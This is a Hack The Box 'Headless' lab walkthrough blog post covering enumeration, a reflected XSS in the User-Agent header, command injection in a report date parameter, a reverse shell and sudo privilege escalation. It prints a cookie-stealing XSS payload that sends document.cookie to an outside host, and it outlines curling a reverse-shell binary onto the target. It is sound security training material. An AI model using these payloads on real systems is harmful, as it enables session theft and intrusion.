Skip to content
Hack The Box1 min read

HTB - Headless

Headless - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - Headless#

NMAP

image1

Go to port 5000 in a browser - we can see it uses cookies:

image2

  • HttpOnly is set to false Which means we can steal the cookies of other users

  • Look for directories:

dirsearch -u http://10.129.35.58:5000 /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt

image3

  • On the /support page:

image4

  • If we try and enter XSS code, we get this:

image5

  • Now looking at the error message, we see that our User-Agent information is being reflected

  • Open Burp and forward to Repeater

  • In order to get Reflected XSS we need to inject the XSS into the User-Agent field and get the page to error like before

  • We need to set up a python server to catch the GET request which should have an (admin) cookie attached to it

  • Using the payload:

java
<img src=x onerror=fetch('http://10.10.14.23/?c='+document.cookie);>

and entering hello;<script> in the message field so that it errors. (Anything inside <> tags makes this page error)

image6

image7

image8

  • Click on generate report and catch the request in Burp and send to Repeater:

image9

image10

  • As we can see, the date parameter gets passed to the server as an argument

  • We can inject commands into this parameter using ;

image11

  • The reverse shells didn't want to work

  • But curl works:

image12

  • Create a msfvenom linux .elf file and curl it onto the victim machine

  • Run chmod +x on the reverse.elf file

  • Set up msfconsole listener

  • Run ./reverse.elf

  • Got shell:

image13

image14

bash
cat user.txt

Upload public key to the ~/.ssh/authorized_keys and use SSH

bash
sudo -l

image15

image16

  • Checking the file /usr/bin/syscheck:

image17

  • In dvir home, create the file ./initdb.sh:

image18

bash
chmod +x initdb.sh
sudo /usr/bin/syscheck
  • We have root:

image19

Hack The Box8 min

HTB - Analysis

Analysis - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • gobuster
  • impacket
  • ldap
  • linux
  • nmap
Hack The Box2 min

HTB - Crafty

Crafty - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • ldap
  • linux
  • nmap
  • powershell
  • privilege escalation
Hack The Box5 min

HTB - Office

Office - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • bloodhound
  • gobuster
  • hashcat
  • impacket
  • kerberos